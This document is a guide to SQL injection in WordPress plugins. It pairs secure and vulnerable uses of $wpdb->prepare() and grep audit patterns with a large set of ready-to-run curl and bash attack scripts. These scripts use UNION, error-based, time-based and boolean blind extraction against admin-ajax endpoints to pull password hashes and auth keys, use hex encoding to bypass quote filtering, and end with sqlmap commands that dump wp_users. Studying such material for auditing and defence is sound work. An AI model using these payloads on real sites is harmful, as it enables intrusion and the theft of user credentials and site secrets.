WordPress SQL Injection Patterns
SQL injection in WordPress plugins is one of the most prevalent and impactful vulnerability classes. The WordPress database abstraction layer provides $wpdb->prepare() for parameterized queries, but its misuse and the prevalence of raw string interpolation create numerous opportunities for injection.
WordPress Database Abstraction Layer
WordPress uses the wpdb class to interact with MySQL/MariaDB. The global $wpdb object is available throughout WordPress. Key methods:
global $wpdb;
// Returns array of row objects
$wpdb->get_results( $query );
// Returns single row as object
$wpdb->get_row( $query );
// Returns single value
$wpdb->get_var( $query );
// Returns array of values from single column
$wpdb->get_col( $query );
// Execute query (INSERT/UPDATE/DELETE), returns rows affected
$wpdb->query( $query );
// Returns last inserted ID
$wpdb->insert_id;
// Last error
$wpdb->last_error;
wpdb->prepare(): Correct vs Incorrect Usage
wpdb->prepare() is a sprintf-like function that parameterizes queries. It uses %s (string), %d (integer), and %f (float) placeholders.
Correct Usage
// Correct: placeholders used for all variable data
$results = $wpdb->get_results(
$wpdb->prepare(
"SELECT * FROM {$wpdb->posts} WHERE ID = %d AND post_author = %d",
$post_id,
$user_id
)
);
// Correct: string placeholder with explicit quoting
$results = $wpdb->get_results(
$wpdb->prepare(
"SELECT * FROM {$wpdb->users} WHERE user_login = %s",
$username
)
);
// Correct: LIKE with wildcards added by the developer (not user)
$search = '%' . $wpdb->esc_like( $user_input ) . '%';
$results = $wpdb->get_results(
$wpdb->prepare(
"SELECT * FROM {$wpdb->posts} WHERE post_title LIKE %s",
$search
)
);
Incorrect Usage (Vulnerable)
// VULNERABLE #1: String interpolation before prepare
$table = $_POST['table']; // Attacker controls table name
$results = $wpdb->get_results(
$wpdb->prepare( "SELECT * FROM $table WHERE id = %d", $id )
// prepare() only protects the %d placeholder, not $table
);
// VULNERABLE #2: Concatenation bypasses prepare
$order = $_GET['order']; // 'ASC' or 'DESC' - but attacker sends payload
$results = $wpdb->get_results(
$wpdb->prepare( "SELECT * FROM {$wpdb->posts} WHERE post_status = %s", $status ) .
" ORDER BY post_date $order" // This part is not parameterized!
);
// VULNERABLE #3: No prepare() at all
$id = $_POST['id'];
$results = $wpdb->get_results(
"SELECT * FROM {$wpdb->posts} WHERE ID = $id"
);
// VULNERABLE #4: sanitize_text_field doesn't prevent SQLi
$name = sanitize_text_field( $_POST['name'] );
// sanitize_text_field strips HTML tags and extra whitespace
// It does NOT escape SQL metacharacters (', ", \, etc.)
$results = $wpdb->get_results(
"SELECT * FROM {$wpdb->posts} WHERE post_title = '$name'"
// $name = "test' OR '1'='1" -- sanitize_text_field passes this through!
);
// VULNERABLE #5: IN clause construction
$ids = implode( ',', $_POST['ids'] ); // Array of IDs from user
$results = $wpdb->get_results(
"SELECT * FROM {$wpdb->posts} WHERE ID IN ($ids)"
// $ids = "1,2,(SELECT password FROM wp_users)"
);
A critical misconception: sanitize_text_field() does not prevent SQL injection. It removes HTML tags, extra whitespace, and invalid UTF-8 characters but leaves SQL metacharacters intact.
Grep Patterns for Finding SQL Injection
PLUGIN_DIR="/var/www/html/wp-content/plugins/target-plugin"
# Raw queries with POST/GET parameters
grep -rn "\$wpdb->get_results\|\$wpdb->get_row\|\$wpdb->query\|\$wpdb->get_var" \
"$PLUGIN_DIR" --include="*.php" -A3 | grep "\$_POST\|\$_GET\|\$_REQUEST"
# String interpolation in queries (high confidence vulns)
grep -rP '\$wpdb->(get_results|get_row|query|get_var|get_col)\s*\(\s*"[^"]*\$' \
"$PLUGIN_DIR" --include="*.php" -n
# Queries not using prepare()
grep -rn "\$wpdb->get_results\|->query(" "$PLUGIN_DIR" --include="*.php" | \
grep -v "prepare\|esc_sql"
# ORDER BY / LIMIT injection (common because prepare() doesn't protect these)
grep -rn "ORDER BY\|LIMIT\|OFFSET\|GROUP BY" "$PLUGIN_DIR" --include="*.php" | \
grep "\$_GET\|\$_POST\|\$_REQUEST\|\$order\|\$sort\|\$limit"
# IN clause construction
grep -rn "IN\s*(" "$PLUGIN_DIR" --include="*.php" | grep "implode\|\$ids\|\$_POST"
# esc_sql without prepare (incomplete protection)
grep -rn "esc_sql" "$PLUGIN_DIR" --include="*.php" -B2
# Finding wpdb table references (understand schema)
grep -rn "\$wpdb->" "$PLUGIN_DIR" --include="*.php" | \
grep -oP '\$wpdb->\K\w+' | sort | uniq -c | sort -rn
UNION-Based Extraction
UNION attacks require matching the number of columns in the original query. Workflow:
Step 1: Determine Column Count
TARGET="https://target.example.com/wp-admin/admin-ajax.php"
# Inject ORDER BY to find column count (binary search)
# If ORDER BY 5 works but ORDER BY 6 errors, there are 5 columns
for n in 1 2 3 4 5 6 7 8 9 10; do
RESPONSE=$(curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "search=test' ORDER BY $n-- -")
if echo "$RESPONSE" | grep -qi "error\|unknown column"; then
echo "Column count: $((n-1))"
break
fi
echo "ORDER BY $n: OK"
done
Step 2: Find Output Columns
Not all columns may be reflected in the output. Use NULL placeholders and test each position:
# Try UNION with NULLs first (NULL is type-safe)
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "search=test' UNION SELECT NULL,NULL,NULL,NULL,NULL-- -"
# Replace NULLs with strings to find which columns are reflected
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "search=notfound' UNION SELECT 'col1','col2','col3','col4','col5'-- -"
# If response contains 'col2', column 2 is reflected
Step 3: Extract Data
# Extract WordPress user credentials
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "search=notfound' UNION SELECT user_login,user_pass,user_email,user_registered,ID FROM wp_users LIMIT 5-- -"
# Concatenate multiple values into one column
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "search=notfound' UNION SELECT CONCAT(user_login,0x3a,user_pass),2,3,4,5 FROM wp_users LIMIT 5-- -"
# Extract WordPress secret keys from options table
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "search=notfound' UNION SELECT option_name,option_value,3,4,5 FROM wp_options WHERE option_name IN ('auth_key','secure_auth_key','logged_in_key')-- -"
# Get database version and user
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "search=notfound' UNION SELECT version(),user(),database(),4,5-- -"
Error-Based Extraction
When UNION is not available but errors are displayed:
# MySQL extractvalue() error-based
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "id=1 AND extractvalue(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE user_login='admin'),0x7e))-- -"
# MySQL updatexml() error-based
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "id=1 AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -"
# Longer output via group_concat + error
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "id=1 AND extractvalue(1,concat(0x7e,(SELECT group_concat(user_login,0x3a,user_pass) FROM wp_users),0x7e))-- -"
Time-Based Blind Extraction
When there is no output but the query executes:
# Verify injection with sleep
time curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "id=1' AND SLEEP(5)-- -"
# Extract data bit by bit (character by character approach)
# Check if first char of admin password hash is '2' (common for bcrypt $P$)
time curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "id=1' AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE user_login='admin'),1,1)='\$',SLEEP(5),0)-- -"
# Practical: Extract one character at a time with ASCII comparison
for pos in 1 2 3 4 5 6 7 8 9 10; do
for ascii in $(seq 32 126); do
CHAR=$(printf "\\x$(printf '%02x' $ascii)")
ELAPSED=$(curl -s -o /dev/null -w "%{time_total}" -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "id=1' AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),$pos,1))=$ascii,SLEEP(2),0)-- -")
if (( $(echo "$ELAPSED > 1.5" | bc -l) )); then
echo "Position $pos: $CHAR (ASCII $ascii)"
break
fi
done
done
Boolean-Based Blind Extraction
# Verify boolean injection - two different responses for true/false
RESPONSE_TRUE=$(curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "id=1' AND 1=1-- -")
RESPONSE_FALSE=$(curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "id=1' AND 1=2-- -")
# Compare lengths to verify boolean injection works
echo "True response length: ${#RESPONSE_TRUE}"
echo "False response length: ${#RESPONSE_FALSE}"
# Binary search for character ASCII value
extract_char() {
local query="$1"
local pos="$2"
local lo=32
local hi=126
while [ $lo -lt $hi ]; do
mid=$(( (lo + hi) / 2 ))
RESPONSE=$(curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "id=1' AND ASCII(SUBSTRING(($query),$pos,1))>$mid-- -")
# Check if response matches "true" response pattern
if echo "$RESPONSE" | grep -q "expected_true_indicator"; then
lo=$((mid + 1))
else
hi=$mid
fi
done
printf "\\x$(printf '%02x' $lo)"
}
Subquery-Based Extraction
When UNION fails (due to column type mismatch or WAF), use subqueries:
# Inject subquery into WHERE clause
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "search=test' AND 1=(SELECT 1 FROM wp_users WHERE SUBSTRING(user_pass,1,3)='\$P\$')-- -"
# Subquery in ORDER BY (common bypass)
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "order=( SELECT CASE WHEN (1=1) THEN post_date ELSE post_title END )"
Hex Encoding to Bypass Quote Filtering
When single quotes are filtered or escaped:
# Convert string to hex (no quotes needed)
python3 -c "print('admin'.encode().hex())"
# Output: 61646d696e
# Use hex in injection
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "search=notfound UNION SELECT user_login,user_pass FROM wp_users WHERE user_login=0x61646d696e-- -"
# Hex-encoded table name and string
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "search=notfound UNION SELECT user_pass,2 FROM wp_users WHERE user_login=char(97,100,109,105,110)-- -"
WordPress Table Structures
Understanding the schema is essential for targeted extraction:
wp_users
-- Critical fields
SELECT user_login, user_pass, user_email, user_registered FROM wp_users;
-- user_pass format: $P$B... (phpass portable hash, MD5-based)
-- or $wp$2y$... (bcrypt, WP 6.8+)
-- Crackable with hashcat or john
-- Example extraction
UNION SELECT user_login, user_pass, user_email, user_registered, ID FROM wp_users-- -
wp_usermeta
-- Contains user roles and capabilities
SELECT meta_key, meta_value FROM wp_usermeta
WHERE user_id = 1 AND meta_key = 'wp_capabilities';
-- Value: a:1:{s:13:"administrator";b:1;}
-- Extract admin capabilities
UNION SELECT user_id, meta_value FROM wp_usermeta
WHERE meta_key = 'wp_capabilities'
AND meta_value LIKE '%administrator%'-- -
wp_options
-- Critical options
SELECT option_name, option_value FROM wp_options
WHERE option_name IN (
'siteurl',
'admin_email',
'auth_key',
'secure_auth_key',
'logged_in_key',
'auth_salt',
'secure_auth_salt',
'logged_in_salt',
'admin_user_id'
);
-- Option value extraction via injection
UNION SELECT option_name, option_value FROM wp_options
WHERE option_name = 0x617574685f6b6579-- - (hex for 'auth_key')
wp_posts
-- Private/draft content
SELECT ID, post_title, post_content, post_status, post_author
FROM wp_posts
WHERE post_status IN ('private', 'draft', 'password');
ORDER BY Injection
ORDER BY clauses are particularly vulnerable because they cannot use parameterized placeholders:
// VULNERABLE: Dynamic ORDER BY
$order_by = $_GET['orderby'];
$order = $_GET['order']; // Should be ASC or DESC only
$results = $wpdb->get_results(
$wpdb->prepare(
"SELECT * FROM {$wpdb->posts} WHERE post_status = %s ORDER BY $order_by $order",
'publish'
)
);
# Time-based blind via ORDER BY
time curl -s "https://target.example.com/page/?orderby=post_date&order=ASC"
time curl -s "https://target.example.com/page/?orderby=(CASE WHEN (1=1) THEN post_date ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)&order="
# Boolean via ORDER BY with FIELD()
curl -s "https://target.example.com/page/?orderby=FIELD(post_author,1,2)&order=ASC"
# Data extraction via ORDER BY with IF
curl -s "https://target.example.com/page/?orderby=IF(1=1,post_date,post_title)&order=ASC"
wpdb Error Output Leakage
When WP_DEBUG is enabled or the plugin outputs $wpdb->last_error:
// Some plugins helpfully show errors
$result = $wpdb->get_results( $query );
if ( $wpdb->last_error ) {
echo 'Query error: ' . $wpdb->last_error; // Error-based SQLi goldmine
}
# Check if database errors are visible
curl -s -X POST "$TARGET" \
--data-urlencode "action=vulnerable_action" \
--data-urlencode "id=1'" | grep -i "mysql\|you have an error\|sql syntax"
Practical SQLi Checklist for WordPress Plugins
PLUGIN_DIR="/var/www/html/wp-content/plugins/target-plugin"
# 1. Find all database query calls
grep -rn "\$wpdb->" "$PLUGIN_DIR" --include="*.php" | \
grep "get_results\|get_row\|get_var\|get_col\|query\|insert\|update\|delete" > /tmp/db_calls.txt
# 2. Find calls with direct user input (no prepare)
grep -rP '\$wpdb->(get_results|get_row|query|get_var)\s*\([^;]*\$_(POST|GET|REQUEST|COOKIE)' \
"$PLUGIN_DIR" --include="*.php" -n
# 3. Find prepare() calls with interpolation (partial protection)
grep -rn "prepare" "$PLUGIN_DIR" --include="*.php" -A3 | grep "\$_\|->get_param\|->get_var"
# 4. Find ORDER BY / LIMIT with user input
grep -rn "ORDER BY\|LIMIT\|GROUP BY" "$PLUGIN_DIR" --include="*.php" | \
grep -v "//\|#\|\*" | grep "\$"
# 5. Find esc_sql usage (might be incomplete protection)
grep -rn "esc_sql\b" "$PLUGIN_DIR" --include="*.php" -B3 -A3
# 6. Trace user input from source to sink
grep -rn "sanitize_text_field\|sanitize_key\|intval\|absint" \
"$PLUGIN_DIR" --include="*.php" | head -20
Automating with SQLMap Against WordPress AJAX
# SQLMap against an AJAX endpoint
sqlmap -u "https://target.example.com/wp-admin/admin-ajax.php" \
--data "action=vulnerable_action&id=1" \
-p "id" \
--dbms=mysql \
--level=3 \
--risk=2 \
--technique=BEUST \
--tables
# With cookie authentication
sqlmap -u "https://target.example.com/wp-admin/admin-ajax.php" \
--data "action=vulnerable_action&id=1" \
--cookie "wordpress_logged_in_xxx=...; wordpress_test_cookie=WP+Cookie+check" \
-p "id" \
--dbms=mysql \
--dump -T wp_users
# Test REST API parameter
sqlmap -u "https://target.example.com/wp-json/plugin/v1/search?term=test" \
-p "term" \
--dbms=mysql \
--technique=BT \
--level=5